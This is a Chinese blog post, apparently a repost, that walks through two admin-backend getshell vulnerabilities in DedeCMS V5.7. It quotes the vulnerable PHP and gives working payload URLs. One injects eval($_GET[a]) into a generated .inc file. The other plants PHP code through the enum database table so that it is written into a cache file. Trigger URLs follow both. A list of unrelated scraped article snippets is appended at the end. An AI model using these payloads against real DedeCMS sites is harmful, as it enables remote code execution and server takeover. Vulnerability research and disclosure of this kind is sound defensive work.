在这个帖子里我把两个洞一起写出来。

第一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell。
漏洞代码在:/dede/sys_verifies.php 代码如下:

else if ($action == 'getfiles')
{
if(!isset($refiles))
{
ShowMsg("你没进行任何操作!","sys_verifies.php");
exit(); } $cacheFiles = DEDEDATA.'/modifytmp.inc'; $fp = fopen($cacheFiles, 'w'); fwrite($fp, '<'.'?php'."\r\n"); fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n"); $dirs = array(); $i = -1; $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__)); foreach($refiles as $filename) { $filename = substr($filename,3,strlen($filename)-3); if(preg_match("#^dede/#i", $filename)) { $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) ); } else { $curdir = GetDirName($filename); } if( !isset($dirs[$curdir]) ) { $dirs[$curdir] = TestIsFileDir($curdir); } $i++; fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); } fwrite($fp, '$fileConut = '.$i.';'."\r\n"); fwrite($fp, '?'.'>'); fclose($fp); $dirinfos = ''; if($i > -1) { $dirinfos = '<tr bgcolor="#ffffff"><td colspan="2">'; $dirinfos .= "本次升级需要在下面文件夹写入更新文件,请注意文件夹是否有写入权限:<br />\r\n"; foreach($dirs as $curdir) { $dirinfos .= $curdir['name']." 状态:".($curdir['writeable'] ? "[√正常]" : "<font color='red'>[×不可写]</font>")."<br />\r\n"; } $dirinfos .= "</td></tr>\r\n"; } $doneStr = "<iframe name='stafrm' src='sys_verifies.php?action=down&curfile=0' frameborder='0' id='stafrm' width='100%' height='100%'></iframe>\r\n"; include(DEDEADMIN.'/templets/sys_verifies_getfiles.htm'); exit(); }

从这段代码里,可以得知会在/data目录下生成一个inc文件,并且这个inc文件的内容是我们可以控制的,因此只需要再找一个include了这个inc文件的地方,便可以完成攻击。

全局搜索了下这个文件,发现就在同一个php文件的下面,因此利用条件就全部齐了,可以开始构造写入的语句了。

观察逻辑,代码会先从url中获取一个refiles参数,并且refiles作为数组参数,被写入inc文件。而紧接的foreach语句其实重点就只是一个replace,只要绕过去就好了。最后的payload大概如下:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();/


此时写入shell成功,触发shell:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo();

任意代码执行了

第二个的思路比第一个稍微绕一点,但也只是绕的有限。
漏洞代码在/dede/sys_cache_up.php处 36行处:

else if($step == 2)
{
include_once(DEDEINC."/enums.func.php");
WriteEnumsCache();
//WriteAreaCache(); 已过期
ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc"); exit(); } 跟进WrtieEnumsCache(): function WriteEnumsCache($egroup='') { global $dsql; $egroups = array(); if($egroup=='') { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup "); } else { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup "); } $dsql->Execute('enum'); while($nrow = $dsql->GetArray('enum')) { $egroups[] = $nrow['egroup']; } foreach($egroups as $egroup) { $cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; $fp = fopen($cachefile,'w'); fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n"); $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC "); $dsql->Execute('enum'); $issign = -1; $tenum = false; //三级联动标识 while($nrow = $dsql->GetArray('enum')) { fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n"); if($issign==-1) $issign = $nrow['issign']; if($nrow['issign']==2) $tenum = true; } if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; "); fwrite($fp,'?'.'>'); fclose($fp); if(empty($issign)) WriteEnumsJs($egroup); } return '成功更新所有枚举缓存!'; }

可以看到有文件读写操作,但是文件内容是从数据库取值的,因此需要先往数据库里写入内容,同时,因为没有任何过滤,因此操作难度降低了许多。找到的写数据库的位置在:
dede/stepselect_main.php:

else if($action=='addenum_save')
{
if(empty($ename) || empty($egroup))
{
Showmsg("类别名称或组名称不能为空!","-1");
exit(); } if($issign == 1 || $topvalue == 0) $enames = explode(',', $ename); foreach($enames as $ename){ $arr = $dsql->GetOne("SELECT * FROM `#@__sys_enum` WHERE egroup='$egroup' AND (evalue MOD 500)=0 ORDER BY disorder DESC "); if(!is_array($arr)) $disorder = $evalue = ($issign==1 ? 1 : 500); else $disorder = $evalue = $arr['disorder'] + ($issign==1 ? 1 : 500); $dsql->ExecuteNoneQuery("INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); "); } echo "INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); "; die(); WriteEnumsCache($egroup); ShowMsg("成功添加枚举分类!".$dsql->GetError(), $ENV_GOBACK_URL); exit(); }

因此传入如下url:
http://localhost/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
然后被写入了数据库,此时直接查询,便可以写入文件,写文件url如下:
http://localhost/dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();&dopost=ok

转载于:https://www.cnblogs.com/WhiteHatKevil/p/10226726.html

Dedecms V5.7后台的两处getshell相关推荐

  1. php里pluck,Pluck CMS后台另两处任意代码执行

    前言 本来是在cnvd上看到了有人发Pluck CMS的洞,但是没有公开细节,便想着自己挖一下. 但是审完第一个后发现已经有两位同学写出来了 当时自己的思路跟第一个同学一样,第二个同学的思路自己确实没 ...

  2. php中%3c w() %3e,DedeCMS V5.7 SP2后台存在代码执行漏洞

    原标题:DedeCMS V5.7 SP2后台存在代码执行漏洞 *本文原创作者:风炫520,本文属FreeBuf原创奖励计划,未经许可禁止转载 简介 织梦内容管理系统(DedeCms)是一款PHP开源网 ...

  3. php查询后台地址,dedecms 织梦后台查找方法【整理】

    换友链感悟,有些逗比开了个换链VIP有了超级申请,就和个逗比一样.什么样的站都去申请,烦的很.自己什么样的站自己都不管理好就出来换链了.随便一查.BR1 词库数量30. 这个都还正常. 再一site/ ...

  4. DedeCms 5.7后台去除版权及去除广告的方法

    这篇文章主要介绍了DedeCms 5.7后台去除版权及去除广告的方法,具有一定借鉴价值,需要的朋友可以参考下.希望大家阅读完这篇文章后大有收获.下面让小编带着大家一起了解一下.  DedeCms 5. ...

  5. 织梦支持html5吗,自动更新HTML FOR DedeCMS V5.3(支持首页,列表页,文章页)

    关键字描述:支持 首页 文章 更新 自动 DedeCMS 模块 安装 DedeCMS V5.3的使用方法很简单~~~ 直接用后台的模块安装就可以了.坚决贯彻实施官方的插件模块化,一键安装的理念. 当然 ...

  6. 织梦dedecms 忘记管理员后台密码的解决技巧

    首先进入你的MYSQL后台,然后在你的名用中 找到dede_admin这项如图: 图片1 然后点他右边的 "浏览"按扭 "图右" 图片2 然后会看到下面的图: ...

  7. dedecms v5.7 整合discuz x3.2 双向同步登录退出(2016年4月2号)

    一,先安装织梦与dz论坛,dz安装时,把uc也一起安装.安装好后,进论坛后台,ucenter中心,应用管理,就会看到id号为1的应用,并且通信成功 如果通信不成功.就点击id为1应用,点击 后面的编辑 ...

  8. dedecms进入mysql后台_DEDECMS 爆严重安全漏洞 免账号密码直接进入后台

    入侵步骤如下:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=in ...

  9. 织梦cms5.7搭配php哪个版本,DedeCMS V5.5正式版正式发布(Build-0912)

    文件类型:.zip 软件大小:4.2MB 下载次数: 软件类别:国产软件 软件语言:简体中文 授权方式:共享软件 运行环境:PHP4.x.5.x + MySQL4.x.5.x 更新时间:2009-09 ...

最新文章

  1. 2014百度之星 Xor Sum(字典树+贪心)
  2. vs 2012自带打包工具进行部署安装
  3. ftp服务器 无线路由器,用无线路由器构建FTP服务器 快乐大家分享
  4. Html和websocket初识
  5. 【C/C++开发】C++11 并发指南二(std::thread 详解)
  6. 智商145!比利时神童9岁读完大学,成史上最年轻大学毕业生
  7. 全局变量和环境变量的区别
  8. 使用XmlWriter写XML文件
  9. 8086汇编语言程序设计
  10. “圆球池塘”——动态交互作品
  11. 10.1假期一半总结
  12. Android 之Google认证GMS详细解剖
  13. win10 删除删除账户,新的账户中文件资源管理器图标变白 找回方法
  14. 襄阳联通推“终端+物联网卡+M2M”OA方案
  15. Lind.DDD.Repositories.Mongo层介绍
  16. 哈希 ---《哈希函数》------除数的选取为什么是质数?、《哈希冲突》------解决方法、《闭散列》、《开散列》
  17. 天津高一计算机会考,09天津高中计算机会考复习.doc
  18. 数位DP POJ3208 Apocalypse Someday
  19. 关于iPhone屏幕像素和各机型显示的探究
  20. buu 达芬奇 ROT

热门文章

  1. FPGA实现VGA显示(四)——————读取ROM显示彩色图片(a)
  2. html5开发桌面程序调用dll,使用Visual Studio开发Html5应用
  3. linux思考与实验答案,linux课后习题答案教材课后习题参考答案
  4. MFC下运行控制台不显示黑屏
  5. Lighttpd、Nginx 、Apache 隐藏响应头信息的Server信息和版本信息
  6. adaptec SCSI卡管理和配置选项
  7. java socket 异步回调函数_浅谈socket同步和异步、阻塞和非阻塞、I/O模型
  8. hbuilderx的快捷键整理pdf_47个电脑快捷键大全,让你工作提升100倍,一般人我不告诉他...
  9. ip命令手册: 使用iproute2工具进行路由表管理和路由策略管理
  10. [读后感] 20170630 产品经理米衙的感悟